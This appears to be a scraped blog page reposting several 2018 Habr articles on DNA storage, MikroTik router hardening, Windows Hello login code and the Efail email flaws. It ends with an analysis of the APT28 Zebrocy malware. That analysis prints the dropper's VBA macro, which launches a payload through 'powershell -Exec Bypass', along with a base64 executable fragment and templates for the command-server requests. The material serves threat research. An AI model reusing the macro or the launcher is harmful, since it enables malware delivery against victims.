Запись опубликована: 23.02.2018

Привет, меня зовут Pavel Germanika

Спасибо, что зашли на мой сайт! Хочу рассказать немного о себе и о том, что вы cможете найти для себя полезного на страницах моего блога.


 

Может ли человек, проживая в унылом бесперспективном городе, чего-то добиться, имея под рукой лишь старый ноутбук и интернет? Можно ли без всяких офисов, начальных капиталов построить компанию, приносящую неплохую прибыль? Ответ на этот вопрос вы сможете узнать в моем блоге. Я Pavel Germanika, добро пожаловать!

Всю свою жизнь я прожил в мечтах. Это было какое-то полугипнотическое состояние. Я любил гулять по улицам или лежать на диване, представляя себя успешным человеком. Будь то бизнесменом, известным футболистом, ученым, которому вручают нобелевскую премию и прочими персонажами. Любые дела я всегда откладывал на потом. Все жизненные перспективы я старался не замечать. Думаю, многие люди со мной схожи.

И так проходила вся моя жизнь, пока, однажды, одним субботним утром не произошло чудо. Я до сих пор не могу ответить на вопрос, что же со мной произошло?. Почему меня переклинило? Но я вдруг перевел свою жизнь из пассивного состояния в активное. Я взял себя в руки и стал реализовывать все идеи, которые приходили в мою голову. И это коренным образом перевернуло все мое существование.

Еще совсем недавно я и представить себе не мог то, что мои компьютерные программы будут скачивать тысячи людей, что мне каждый день будут писать десятки людей за какими-то советами. Никогда в жизни я бы не поверил, что на меня кто-то будет равняться, что я для кого-то стану примером для подражания. Но это произошло. И я твердо уверен, что это могут повторить многие из вас.

Мой Блог — это реалити-шоу обычного заурядного парня, который пытается добиться успеха с полного нуля. Никакого начального капитала, никаких знакомств, никаких особых способностей. Только идеи, анализ и компьютер. Я хочу быть максимально открытым и делиться с вами всеми своими мыслями и результатами работы.

Я очень надеюсь на то, что найдутся люди, которым мои записи окажутся полезными. Я таю надежду, что для кого-то мой блог станет мотивацией начать что-то делать или что кто-то почерпнет здесь знания и идеи.

Любой из вас может связаться со мной. Я рад каждому! Пишите на мой Telegram.

Метки: ,





Запись опубликована: 21.05.2018

«Принцип макарон»: ученые организовали произвольный доступ к ДНК-памяти

Ученым из Иллинойсского университета в Урбане-Шампейне удалось реализовать ДНК-хранилище со случайным доступом к данным. Об их подходе и о том, что общего у цепочек ДНК с макаронами, расскажем далее.

/ фото Tim Sackton CC

Как это работает

Для хранения данных в ДНК учёные преобразуют бинарный код в последовательности из четырёх азотистых оснований — аденина (A), тимина (T), гуанина (G) и цитозина (С). После они синтезируются в короткие цепочки, перекрывающие друг друга. Например, если цепочки состоят из ста пар оснований, то последние 75 пар из предыдущей цепочки будут первыми для следующей.

По этой причине получение доступа к случайным «точкам в памяти» вызывает определенные сложности. Приходится расшифровывать весь объём информации для получения одного файла. Выбрать среди множества молекул необходимую, это все равно, что пытаться выловить конкретную макаронину из супа. Вероятность случайно схватить ее невелика.

Однако ученые из Иллинойсского университета нашли решение. Если реплицировать одну и ту же макаронину снова и снова до тех пор, пока тарелка не заполнится, то любая из них будет нужной. Потому они решили синтезировать закодированные цепочки с дополнительными последовательностями, которые бы выступали в качестве адреса.

Эти адреса используются праймерами для идентификации цепочек ДНК, которые нужно реплицировать. В результате ученые получили возможность определять и воспроизводить цепи ДНК с необходимыми данными, используя метод полимеразной цепной реакции. Это упрощает процесс поиска копии желаемой цепочки.

Сейчас ученые должны преодолеть ряд трудностей. Часть из них связана с особенностями работы секвенсоров. Они подвержены воздействию ошибок замещения — оказалось сложно восстановить геном после того, как он был разбит на отдельные компоненты для чтения, и не перепутать сегменты. Потому сейчас ведется работа над «кодами корректировки ошибок».

Другая сложность — компании, которые занимаются синтезом ДНК, пока не готовы переходить на новые методы работы, так как их производственные процессы автоматизированы, и перестраивать их для генерации дополнительных цепочек слишком дорого. Поэтому исследователям еще предстоит провести определенную работу, направленную на удешевление всех операций.


/ фото University of Michigan

Кто еще занимается ДНК-хранилищами

Microsoft совместно с Вашингтонским университетом тоже работают над созданием ДНК-хранилища со случайным доступом (мы писали об этом в одном из наших предыдущих материалов). И в начале года им удалось закодировать и безошибочно восстановить более 400 Мбайт данных. В дальнейшем объем хранилища планируется увеличить до 1 Тбайт и больше, а в Microsoft даже строят планы по добавлению ДНК-хранилища в свою облачную платформу.

Также в этой области работают ученые из Гарварда. Им удалось записать в бактерию анимацию с наездником на лошади, сонеты Шекспира, а один из исследователей — Джордж Черч (George Church) увековечил в ДНК свою книгу «Regenesis» (он создал 90 млрд её экземпляров).

Для записи и считывания информации биологи использовали систему CRISPR. Эта система — естественный защитный механизм, с помощью которого бактерии создают иммунитет к вторжению вирусов. Они захватывают молекулы ДНК вирусов, генерируют так называемые спейсеры и «вставляют» их локус. Ученые закодировали желаемую информацию в спейсеры и передали её бактериям под видом вирусной ДНК.

Когда наступит ДНК-будущее?

Несмотря на успех всех упомянутых экспериментов, ученые пока не могут поставить технологии «на поток» (в основном из-за высокой стоимости). Потому об их выходе на широкий рынок пока говорить не приходится.

Однако уже сегодня есть коммерческие компании, которые предлагают своим клиентам услугу записи информации в ДНК. Например, стартап Twist Bioscience «консервирует» пользовательские данные за 100 тысяч долларов (12 мегабайт). При этом руководство компании прогнозирует, что через пару лет стоимость записи снизится всего до 10 центов.

В Twist Bioscience синтезом ДНК-цепочек занимается специальная машина, внешне напоминающая струйный принтер. Она «выдавливает» молекулы A, T, G и C в 9,6 тыс. «нанолунок» диаметром с человеческий волос. Эти крошечные лунки расположены на пластине из черного кремния размером с почтовую открытку. Всего в Twist Bioscience синтезируют около 3 млн цепочек в день.

Другой пример: британская трип-хоп группа Massive Attack в качестве подарка на свое двадцатилетие решила сохранить третий студийный альбом Mezzanine в ДНК. Кодированием музыкального наследия займутся сотрудники лаборатории в Цюрихе. Результат их работы должен появиться через месяц.

P.S. Несколько постов из Первого блога о корпоративном IaaS:

P.P.S. Другие материалы из нашего блога на Хабре:

Source: habr1

Метки:





Запись опубликована: 21.05.2018

[Из песочницы] Уязвимость Mikrotik позволяет получать список всех пользователей через winbox

Устройства компании Mikrotik стали широко распространены из-за своей цены по отношению к функционалу. Но и ошибки в программном обеспечении никто не отменял. И на этот раз вылез серьёзный баг.

25 марта один из пользователей форума Mikrotik сообщил об обнаружении подозрительной активности маршрутизаторов mikrotik с применением портов telnet (TCP port 23), TR-069 (TCP port 7547) и WINBOX (TCP 8291).

Сотрудники компании сослались на баг, который был закрыт год назад. В последствии выяснилось, что это новая уязвимость и 23 апреля компания Микротик сообщила о выпуске прошивок, где эта уязвимость устранена.

Несмотря на то, что компания довольно оперативно выпустила bugfix, устройства, подверженные уязвимости в сети исчисляются тысячами.

Всем пользователям RouterOS рекомендую обновиться минимум до версий 6.40.8 [bugfix] или 6.42.1 [current]

Так же в общем доступе появились инструменты, которые позволяют простым пользователям получить доступ на устройства, которые не защищены фаерволом либо не обновлены до актуальной версии.

Ввиду последних событий я предлагаю всем пользователям устройств Mikrotik и CHR произвести хотя бы минимальную настройку.

Минимальные настройки безопасности

Анализируя устройства с багом, я обратил внимание, что практически все пренебрегают настройками фаервола, несмотря на то, что это самый эффективный инструмент защиты Вашей сетевой инфраструктуры. И 90% устройств имеют учётную запись «admin» с полными правами. Прям мечта для брудфорсеров.

В отношении защиты RouterOS сделайте несколько несложных шагов, чтобы обеспечить минимальную безопасность:

  1. Убедитесь, что у Вас последняя прошивка.

  2. Не стоит надеяться на отсутствие багов в новой прошивке и настройте фаервол:
    2.1. В цепочке INPUT доступ к устройству разрешён, только с доверительных ip адресов. Например, диапазон домашней сети или ip адресами сетевых администраторов.
    Обратите внимание на то, что цепочка INPUT применяется только для пакетов, адресованных непосредственно этому маршрутизатору. Транзитные пакеты относятся к цепочке FORWARD.
    2.2. Дропайте все пакеты, которые не соответствуют разрешённым.
    2.3. В случае, если Вам требуется периодически доступ с динамических адресов, то используйте «port knocking», чтобы добавить Ваш ip в разрешённые на определённое время.

  3. Выключите все сервисы, которые Вы не используете (api,ssh,telnet etc.)

  4. После настройки фаервола и обновления прошивки смените пароль.

Также, если вы используете имя учётки «admin» так же создайте свою и заблокируйте «админа».

FireWall

С использование терминала.
Создайте список адресов, которым будет разрешено подключаться к маршрутизатору
/ip firewall address-list
add address=192.168.1.0/24 list=allow-ip
add address=192.168.88.10/32 list=allow-ip

Добавляем правило, которое разрешает все действия с этих адресов

/ip firewall filter
add action=accept chain=input comment="Allow Address List" src-address-list=allow-ip

В случае если нужен доступ с неизвестных адресов я делаю ожидание icmp пакета (ping) определённого размера. Если такой пакет прилетает, то адрес источника добавляется в список allow-ip со временем в 1 час. При желании можно сделать каскад из таких пакетов.

/ip firewall filter
add action=add-src-to-address-list address-list=allow-ip address-list-timeout=1h chain=input packet-size=783 protocol=icmp

Обратие внимание на размер пакета packet-size 783 байт. Но при пинговании Вы должны указывать на 28 байт меньше. В данном случае пинг из windows:

ping -l 755 myhostname.domain

Запрещаем доступ ко всем портам, которые не разрешены выше:

/ip firewall filter add action=drop chain=input

Сервисы,

которые Вы не используете тоже надо выключить ибо это лишние точки отказа.
/ip service
set api disabled=yes
set api-ssl disabled=yes
и так далее.

Тоже самое при помощи винбокс.

Разрешаем в нашем адрес листе.

Правило добавления в адрес лист по пингу

Правило запрета всего и вся ставится самым последним

То есть это должно выглядеть так

Сервисы настраиваем здесь

Пользователей добавить и удалить «admin», а также сменить пароль можно здесь

Заключение

Очень надеюсь, что моя краткая инструкция поможет вашему устройству не попасть под контроль любой ботнет сети, в том числе Hajim.

Метки:
Похожие публикации

Ой, у вас баннер убежал!

Ну. И что?

Source: habr1

Метки:





Запись опубликована: 21.05.2018

Как мы в Тинькофф использовали Windows Hello для аутентификации пользователя

Tinkoff.ru

IT’s Tinkoff.ru — просто о сложном

Windows Hello

Windows Hello – это технология биометрической аутентификации пользователя по отпечатку пальца, сетчатки глаза, трёхмерному сканированию лица и даже по венозной схеме ладони.

В сфере оказания финансовых услуг, важна безошибочная и безопасная аутентификация пользователя. Для авторизации мы используем двухфакторную систему из связки логина и пароля или номера телефона и пароля с подтверждением по коду, отправленному на привязанный номер мобильного телефона. Для дальнейшего упрощения доступа в авторизованную зону используется 4х значный ПИН-код.

После авторизации и создания ПИН-кода, аутентификацию пользователя можно переложить на плечи Windows Hello. Общая последовательность необходимых действий выглядит следующим образом:

  • Проверить возможность использования Windows Hello.
  • Проверка пользователя с помощью Windows Hello, что позволяет связать авторизованного Windows пользователя с нашим клиентом.
  • Кэширование созданного ранее ПИН-кода по идентификатору пользователя в защищённой области.
  • При последующих запусках приложения с авторизованным пользователем, автоматически запускается процедура аутентификации пользователя посредством Windows Hello. В случае успешной аутентификации из защищённой области запрашивается кэшированный ПИН-код.

Давайте рассмотрим каждый шаг подробнее на примерах кода.

Минимальным условием использования Windows Hello служит настроенный ПИН код доступа для входа в систему. В случае отсутствия у пользователя сертифицированного оборудования для биометрической аутентификации, будет использован ПИН код.

Мы это делаем так:

public async Task<WindowsHelloStatus> CheckHelloStatusAsync()
{
  var checkAvailabilityAsyncOperation = UserConsentVerifier.CheckAvailabilityAsync();
  var checkAvailabilityTask = checkAvailabilityAsyncOperation.AsTask();
  var completedTask = await Task.WhenAny(checkAvailabilityTask, Task.Delay(TimeSpan.FromSeconds(1)));
  if(completedTask == checkAvailabilityTask)
  {
    var availability = checkAvailabilityTask.Result;
    switch (availability)
    {
      case UserConsentVerifierAvailability.Available:
        return WindowsHelloStatus.Available;
      case UserConsentVerifierAvailability.DeviceBusy:
        return WindowsHelloStatus.Busy;
      case UserConsentVerifierAvailability.DisabledByPolicy:
        return WindowsHelloStatus.DisabledByPolicy;
      case UserConsentVerifierAvailability.NotConfiguredForUser:
        return WindowsHelloStatus.NotConfiguredForUser;
      default:
        return WindowsHelloStatus.Unavailable;
    }
  }
  checkAvailabilityAsyncOperation.Cancel();
  return WindowsHelloStatus.Unavailable;
}

Данный код не должен вызвать вопросов, здесь проверяется статус службы Windows Hello. UserConsentVerifierAvailability содержит чуть больше вариантов статуса службы, но для наших целей будет достаточно перечисленных в примере выше.

После установки пин-кода Тинькофф и успешной проверки доступности Windows Hello мы предлагаем пользователю подключить эту службу:

Если пользователь соглашается, то необходимо его аутентифицировать, для этого мы используем следующий код:

public async Task<bool> VerifyUserAsync()
{
  if (await CheckHelloStatusAsync() != WindowsHelloStatus.Available)
    return false;
  var result = await UserConsentVerifier.RequestVerificationAsync(requestMessage);
  return result == UserConsentVerificationResult.Verified;
}

В этом примере мы проверяем, что пользователь, использующий в данный момент устройство, тот же человек, что и владелец учётной записи. Как это сделать: UserConsentVerifier.RequestVerificationAsync – это метод, который берёт на себя проверку пользователя с помощью доступного варианта проверки, будь то аутентификация по отпечатку пальца, сетчатке глаза или любой другой способ. Удобство в том, что нам не приходится заботиться с помощью чего и как это происходит, главное, что такой вариант удовлетворяет нашим требованиям безопасности.

Без использования службы Windows Hello мы запрашиваем ввод пин-кода при каждом запуске приложения и долгом бездействии пользователя. Этот код используется для верификации запросов во время работы пользователя с приложением. В случае использования Windows Hello пользователю не нужно вводить этот код каждый раз и встаёт вопрос о безопасном хранении этого кода. Для этого на помощь приходит сервис PasswordVault, он позволяет хранить данные, требующие особого внимания к безопасности. Этот сервис не хранит данные в открытом виде. На устройствах, оборудованных специальным чипом для шифрования, сервис использует этот чип для защиты, на устройствах без чипа шифрования защита достигается программными средствами.

/// <summary>
/// Добавление данных пользователя для запросов к серверу
/// </summary>
/// <param name="userId">Идентификатор пользователя</param>
/// <param name="hash">ПИН-код доступа</param>
public void AddCredentials(string userId, string pin)
{
  var vault = new PasswordVault();
  vault.Add(new PasswordCredential(«Идентификатор Вашего приложения», userId, pin));
}

Этот пример показывает, как легко добавить данные в PasswordVault для хранения:

В случае смены или выхода пользователя в приложении необходимо выполнить удаление данных пользователя из хранилища паролей:

public void RemoveCredentials(string userId)
{
  var vault = new PasswordVault();
  var credentials = vault.Retrieve(«Идентификатор Вашего приложения», userId);
  if (credentials != null)
    vault.Remove(credentials);
}

В следующем примере представлен метод, который мы используем после запуска приложения:

public async Task<string> SignInAsync(string userId)
{
  if (await CheckHelloStatusAsync() != WindowsHelloStatus.Available)
    return null;
  var result = await UserConsentVerifier.RequestVerificationAsync(requestMessage);
  if (result != UserConsentVerificationResult.Verified)
    return null;
  var vault = new PasswordVault();
  var credentials = vault.Retrieve(appCredentialsName, userId);
  return credentials?.Password;
}

Сначала мы проверяем, что служба Windows Hello доступна. Затем просим службу подтвердить, что приложение использует пользователь, владелец учётной записи. Если пользователь прошёл проверку, то мы извлекаем ПИН-код для этого пользователя, который был сохранён туда при установке пин-кода Тинькофф.

И вот, при помощи 5 небольших методов мы интегрировали Windows Hello в приложение.

Метки:
Похожие публикации

Source: habr1

Метки:





Запись опубликована: 21.05.2018

Security Week 18: шифровальная истерика

«Лаборатория Касперского»

Ловим вирусы, исследуем угрозы, спасаем мир

Нелегкая выдалась неделя для средств обмена зашифрованными сообщениями. Средства как бы работали, но то в одном найдут дыру, то в другом еще какую проблему. Все началось в понедельник, когда группа европейских исследователей анонсировала серьезные уязвимости в ряде почтовых клиентов, поддерживающих шифрование по стандартам OpenPGP или S/MIME (новость). Анонсировала, поделилась информацией с особо важными людьми «под эмбарго»: в мире уязвимостей так делают, чтобы попавшие под раздачу вендоры смогли, например, выпустить патч. А еще — чтобы «особо важные люди» высказались в пользу важности и нужности исследования в публичном порядке.

Но что-то пошло не так, и вместо вторника пришлось обнародовать информацию в тот же понедельник (судя по всему, в Твиттере пошло обсуждение и начали раскрываться детали). Для двух опубликованных сценариев атаки наличие своего бренда (Efail), логотипа и веб-странички выглядит странно, но, впрочем, ладно. Оба метода атаки эксплуатируют встроенный в почтовые клиенты просмотрщик сообщений в виде веб-страниц. В сообщение перед зашифрованными текстом вставляется битый тег img — так, чтобы на сервер атакующего отправился не только запрос на загрузку картинки, но чтобы к нему еще было прицеплено расшифрованное сообщение.

В первом методе атаки используется совсем простая схема, когда «отравленный» тег вставляется открытым текстом. Во втором все происходит чуть хитрее: эксплуатируется отсутствие проверки целостности в том же S/MIME (OpenPGP подвержен, но в меньшей степени), благодаря чему аналогичный «вредоносный» тег можно вставить непосредственно в зашифрованный текст.

Видеодемонстрация атаки

То есть злоумышленник должен не только получить доступ к зашифрованным сообщениям жертвы. Ему придется модифицировать их, отправить обратно жертве и надеяться, что на той стороне сработает встроенный «маячок». Не самый результативный метод, но, с другой стороны, речь идет о шифровании, а в шифровании уровень паранойи каждый выбирает для себя самостоятельно. Интересна также не совсем адекватная реакция фонда EFF: в понедельник, ознакомившись с отчетом еще под эмбарго, они написали, что «это очень серьезная проблема», и порекомендовали всем-всем-всем переходить на Signal. После выхода полного отчета детали были пересказаны на сайте EFF, но рекомендация установить Signal (и еще удалить плагины для дешифрования) осталась.

Pro-tip: start your encrypted emails with
«/>
to mitigate #efail.

— Martijn Grooten (@martijn_grooten) May 14, 2018

Эксперты шутят

Насчет «удалите плагины» и «не расшифровывайте уже полученные сообщения»: в случае Efail есть временное решение (до выпуска патча для используемого вами почтового клиента) куда проще: выключить HMTL-представление сообщений. В плейнтексте атака, очевидно, бессильна. А по поводу Signal: не очень понятно желание EFF рекламировать этот мессенджер по поводу и без повода, тем более что смена инфраструктуры (почта -> чатик) вот так, от одной маленькой проблемы, происходить не должна.

so… about efail. the latest Enigmail version contains a few Mitigations. They don’t work. I found a trivial bypass. So to be clear: efail is still exploitable with latest Enigmail+Thunderbird and default settings.

— hanno (@hanno) May 17, 2018

Дальше идут вообще продуктивные переговоры: «Мы починили! — А вот и нет!»

У Signal тоже нашли проблему, и также не самую ужасную в мире. Исследователи обнаружили в десктопной версии мессенджера чрезмерно вольное обращение с HTML-кодами, которое позволяет провести XSS-атаку и вообще может всячески вводить пользователей в заблуждение. Проблема сначала была запатчена, но потом оказалось — не до конца. А для мессенджера Telegram (точнее, для его десктопной версии) обнаружился троян Telegrab, крадущий историю сообщений жертв и складывающий ее на сервере с открытым доступом. В сложные времена мы живем!

Одной строкой:
Интересное развитие аппаратной атаки Rowhammer на персональный компьютер. Nethammer развивает идеи удаленной аппаратной атаки Throwhammer и показывает, как можно модифицировать данные на атакуемой системе, не выполняя на ней ни единой строчки кода.

У Cisco нашли и удалили очередной намертво вшитый пароль.

Метки:
Похожие публикации

Source: habr1

Метки:





Запись опубликована: 21.05.2018

Анализ Zebrocy, вредоносного ПО первого этапа группы Fancy Bear

Sednit, также известные как APT28, Fancy Bear, Sofacy или STRONTIUM – группа злоумышленников, работающих с 2004 года, а может и раньше, основной целью которых является кража конфиденциальной информации у избранных объектов.

Примерно с конца 2015 года мы наблюдаем развертывание этой группой нового компонента – Zebrocy, загрузчика для Xagent (главного бэкдора Sednit). Лаборатория Касперского впервые упоминает данный компонент в 2017 году в отчете APT trend report и недавно выпустила статью с его описанием.

Новый компонент – семейство вредоносного ПО, состоящее из загрузчиков и бэкдоров, написанных на Delphi и AutoIt. Они играют в экосистеме Sednit ту же роль, что и Seduploader, – используются в качестве вредоносного ПО первого этапа атаки.

Мы наблюдали цели Zebrocy в Азербайджане, Боснии и Герцеговине, Грузии, Египте, Зимбабве, Иране, Казахстане, Киргизии, Корее, России, Саудовской Аравии, Сербии, Таджикистане, Туркменистане, Турции, Украине, Уругвае, и Швейцарии. В числе целей – дипломаты, сотрудники посольств и министерств иностранных дел.

Семейство Zebrocy состоит из трех компонентов. В порядке развертывания: загрузчик на Delphi, загрузчик на AutoIt и бэкдор на Delphi. На рисунке 1 показаны взаимосвязи между этими компонентами.

В данном посте мы опишем это семейство и его взаимодействие с более ранним инструментом кибершпионажа Seduploader, а также различия и сходства с Downdelph.


Рисунок 1. Экосистема Sednit

На рисунке 1 мы видим методы атаки и активно используемые Sednit вредоносные программы. В экосистеме Sednit наиболее часто используемая «точка входа» – вложения в письма электронной почты. Согласно недавнему посту в блоге исследователей из Palo Alto Networks, DealersChoice все еще используется. После этапа разведки на заинтересовавших злоумышленников целевых машинах происходит развертывание Xagent и Xtunnel.

Методы атаки

Первый компонент атаки доставляется с помощью Zebrocy через email. Жертвы открывают вложения – документы Microsoft Office, либо архивы.

Вредоносные документы

Используемые Sednit вредоносные документы скачивают компоненты первого этапа атаки через Visual Basic для приложений (VBA), эксплойты или даже через динамический обмен данными (DDE).

В конце 2017 года группа Sednit запустила две кампании, начав распространение двух разных вредоносных документов. Первый назывался Syria – New Russia provocations.doc, второй – Note Letter Mary Christmas Card.doc.


Рисунок 2: Вредоносный документ Zebrocy

Оба вредоносных документа содержат макрос VBA, создающий файл со случайным именем в %TEMP%. Исполняемый файл малвари расшифровывается и записывается в этот файл, который далее выполняется с помощью команды PowerShell или Scriptable Shell Objects.

[...]
Sub AutoClose()
On Error Resume Next
vAdd = ""
For I = 1 To 8
vAdd = vAdd + Chr(97 + Rnd(20) * 25)
Next
vFileName = Environ("temp") & "" + vAdd & ".e" + "x" & "e"
SaveNew vFileName, UserForm1.Label1.Caption
Application.Run "XYZ", vFileName, "WScript.Shell"
End Sub
Public Function XYZ(vF, vW)
vStr = "powershell.exe -nop -Exec Bypass -Command Start-Process '" + vF + "';"
Call CreateObject(vW).Run(vStr, 0)
End Function
[...]
TVpQAAIAAAAEAA8A//8AALgAAAAAAAAAQAAaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAEAALoQAA4ftAnNIbgBTM0hkJBUaGlzIHByb2dyYW0gbXVzdCBiZSBydW4gdW5kZXIgV2lu
[...]

Пример функции Visual Basic и зашифрованной по base64 первой фазы заражения из документа Syria – New Russia provocations.doc

Архивы

В некоторых кампаниях для доставки компонентов первого этапа атаки вместо макросов в документах Office использовались архивы. Предположительно, архив распространяется во вложении по электронной почте.

Все содержимое первого этапа в семействе Zebrocy – исполняемые файлы с иконкой и именем, маскирующими их под документ (на рисунке 3) для обмана жертвы.


Рисунок 3. Первая фаза заражения Zebrocy с помощью файла с иконкой документа Word

Загрузчик на Delphi

Загрузчик на Delphi – первый этап атаки семейства Zebrocy, хотя мы наблюдали, что в некоторых кампаниях группы Sednit этап с AutoIt начинался напрямую, без загрузчика. Большинство бинарных файлов Delphi-загрузчиков используют иконки документов Office, либо некоторые другие, например, библиотеки Windows, и иногда эти образцы запакованы с помощью UPX. Цель этого этапа довольно проста – получить максимум информации с компьютера жертвы.

При запуске малвари всплывает окно с фейковым сообщением об ошибке и именем загруженного бинарного файла. Например, если имя файла srsiymyw.exe, во всплывающем окне появится имя srsiymyw.doc (см. рисунок 4). Цель этого окна – отвлечь пользователя, чтобы он не подумал, что на компьютере происходит что-то необычное.


Рисунок 4. Всплывающее окно загрузчика на Delphi

На самом деле, загрузчик занят созданием файла в %TEMP% с прописанным в бинарнике именем (хотя на этом этапе файл пуст). Персистентность обеспечивается путем добавления в реестр Windows записи в HKCUSoftwareMicrosoftWindowsCurrentVersionRun с указанием пути к файлу с жестко закодированным именем.

Для сбора информации малварь создает новый процесс с помощью функции Windows API CreateProcess и с cmd.exe /c SYSTEMINFO & TASKLIST в качестве аргумента lpCommandLine. После получения информации результат отправляется через запрос HTTP POST на командный сервер, жестко закодированный в бинарном файле. Действие повторяется до тех пор, пока в ответ не будет получено ПО для следующего этапа заражения.

POST (/[a-zA-Z0-9-_^.]*){3}.(php|dat)?fort=<SerialNumber_C> HTTP/1.0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: xxxx
Host: <ip_address>
Accept: text/html, */*
Accept-Encoding: identity
User-Agent: Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1
pol=MM/DD/YYYY%20HH:MM:SS%20(AM|PM)%0D%0A<DriveListing>%0D%0A%0D%0A<Path_to_the_binary>%0D%0A%0D%0A<SYSTEMINFO & TASKLIST output>
[...]

Запрос HTTP POST загрузчика на Delphi

После отправки запроса командный сервер передает ПО следующего этапа в том случае, если цель оценивается злоумышленниками как интересная. Цикл с момента отправки отчета до получения файлов составляет несколько часов. Следующий этап записывается в созданный ранее файл и выполняется.

Загрузчик на AutoIt

Загрузчик на AutoIt – еще одна фаза разведывательного этапа в процессе заражения компьютера жертвы. Далее с этого момента возможны два сценария: в первом загрузчик на Delphi – первая стадия, а упрощенный загрузчик на AutoIt – вторая. По другому сценарию загрузчик на AutoIt является первой стадией, имеет все функции Delphi-загрузчика и даже больше.

Когда загрузчик на AutoIt используется как первый этап, он выполняет множество разведывательных функций. Даже если у него и есть некоторые сходства с загрузчиком на Delphi, такие как механизм персистентности и всплывающее окно, он добавляет большую модульность в разведывательную фазу по сравнению с загрузчиком на Delphi. Вот неполный список его возможностей:

  • определение режима песочницы и виртуальной среды
  • получение списка установленного ПО (через HKLMSOFTWAREMicrosoftWindowsCurrentVersionUninstall)
  • определение версии Windows (32-bit или 64-bit)
  • получение списка процессов
  • получение информации о жестком диске
  • скриншот
  • получение различной информации о компьютере жертвы с помощью объектов WMI, что, возможно, было вдохновлено кодом из этого репозитория GitHub

В зависимости от предыдущей стадии отличается имя бинарника AutoIt. Если малварь внедряется на первом этапе, оно будет похоже на имя документа. В ином случае бинарнику присваивается имя, прописанное в загрузчике на Delphi, как это показано в таблице 1.

Цель этого этапа примерно такая же, как у предыдущего. Встречаются различные версии, но во всех них имеется код, выполняющий как минимум следующее:

  • получение серийного номера жесткого диска C:
  • применение сетевых функций winhttp.dll или winhttp.au3
  • исполнение кода, переданного командным сервером

Как и у Delphi-загрузчика, у загрузчика на AutoIt есть всплывающее окно – если он получен во вложении, то есть когда является первым этапом заражения. Всплывающее окно зависит от иконки бинарного файла. Например, загрузчик AutoIt с иконкой документа Adobe Reader сообщает жертве, что открываемый для просмотра файл PDF поврежден. Бинарный файл AutoIt с иконкой документа Word показывает окно для ввода пароля. Пароль не принимается во внимание, мы считаем, что это лишь способ отвлечь жертву от реальной вредоносной активности кода.


Рисунок 5. Всплывающее окно загрузчика на AutoIt

Бэкдор на Delphi

Бэкдор на Delphi – финальный этап цепочки компонентов Zebrocy. В прошлом мы наблюдали, как Zebrocy скачивает флагманский бэкдор группы Sednit (Xagent). В отличие от предыдущих компонентов, у этого есть внутренний номер версии, который, похоже, не связан с конкретной кампанией. Этот номер меняется со временем, как показано в таблице 2:

Обратите внимание, что мы могли пропустить какие-то версии бэкдора. Кроме того, версии перекрывают друг друга – более старые используются одновременно с новыми.

Далее мы опишем некоторые различия, которые увидели в процессе эволюции данного вредоносного ПО. В бэкдор встроен блок конфигурации. Значения конфигурации меняются от образца к образцу, но список конфигурируемых элементов остается неизменным. Однако способ хранения данных конфигурации малвари со временем эволюционировал.

Первые версии бэкдора содержали данные конфигурации в виде простого текста, как показано на рисунке 6.


Рисунок 6. Данные конфигурации бэкдора на Delphi в виде простого текста

Затем в более поздних версиях авторы закодировали конфигурацию в виде шестнадцатеричных строк, как на рисунке 7.


Рисунок 7. Зашифрованная информация о конфигурации бэкдора на Delphi

В последних версиях информация о конфигурации зашифрована в ресурсах по алгоритму AES. Старшие версии хранятся в разделе .text.

Данные конфигурации содержат:

  • ключи AES для коммуникации с командным сервером
  • адреса URL, различные от образца к образцу
  • версия вредоносного ПО
  • ключ/значение системного реестра Windows, обеспечивающие персистентность бэкдора
  • путь, по которому хранятся временные файлы (%APPDATA%)
  • имена скрытых директорий, создаваемых для хранения временных файлов: происходит конкатенация имени файлов директории и переменной среды (%APPDATA%)

После настройки малварь выполняет функцию обратного вызова с помощью функции SetTimer Windows API. Обратные вызовы позволяют оператору малвари воспользоваться множеством инструментов и командами бэкдора.

  • снятие скриншота рабочего стола жертвы
  • перехват нажатий клавиш
  • получение списка дисков/сетевых ресурсов
  • запись/чтение в реестр Windows
  • копирование/перемещение/удаление объекта файловой системы
  • исполнение файлов, либо постановка задач в запланированные

Количество команд, которые может выполнять бэкдор, а их около 30, отличается от версии к версии.

Для связи с командным сервером бэкдор сохраняет отчет по этим функциям во временный файл. Затем он производит чтение содержимого временного файла и пересылает их. Временные файлы хранятся в одной из скрытых директорий, созданных в процессе установки.

POST (/[a-zA-Z0-9-_^.]*){3}.(php|dat). HTTP/1.0
Connection: keep-alive
Content-Type: multipart/form-data; boundary=--------<mmddyyhhnnsszzz>
Content-Length: <N>
Host: <ip_address>
Accept: text/html, */*
Accept-Encoding: identity
User-Agent: Mozilla/3.0 (compatible; Indy Library)
----------<mmddyyhhnnsszzz>
Content-Disposition: form-data; name="userfile"; filename="%APPDATA%Microsoft<directories><tempfilename>.tmp"
Content-Type: <tempfilename_hex_encoded>.tmp
<tempfilename content>
----------<mmddyyhhnnsszzz>--

Запрос POST бэкдора на Delphi

Содержимое tempfilename – вывод любой исполняемой команды. Содержимое шифруется с помощью алгоритма AES-256-ECB, используя первый ключ AES из данных конфигурации, затем результат записывается в шестнадцатеричной системе. Содержимое, передаваемое на командный сервер, отличается в зависимости от команды, но всегда содержит серийный номер жесткого диска и первые четыре байта имени компьютера.

Например, HELLO соответствует первому пакету, отправляемому бэкдором для установки контакта с командным сервером. Как видно ниже, он содержит дату запуска задачи, внутренний номер версии бэкдора на Delphi, серийный номер HDD, имя компьютера (первые четыре байта), команду и дату, когда этот бэкдор был использован.

Start: 1/4/2018 1:37:00 PM – [<vx.x>]:42424242ESET-HELLO-[2018-04-04 01-37-00]-315.TXT.

Второй ключ AES в данных конфигурации применяется для расшифровки ответов командного сервера.

Как и Seduploader, этот бэкдор используется для развертывания Xagent на машинах тех жертв, которые заинтересовали операторов после фазы разведки.

Заключение

Написание компонента на Delphi не является чем-то новым для группы Sednit, они уже использовали этот язык для Downdelph. Однако, даже если последний компонент не имеет с Downdelph ничего общего, есть интересные моменты, заслуживающие упоминания:

  • методы развертывания одинаковы, оба компонента внедряются в виде вложения по электронной почте
  • в последний раз мы видели Downdelph в сентябре 2015, а первый образец Zebrocy из естественной среды обитания датирован ноябрем 2015 года
  • оба написаны на Delphi

Можно предположить, что группа Sednit свернула один компонент и начала разработку нового. Единственное, что не меняется у группы – характерные ошибки:

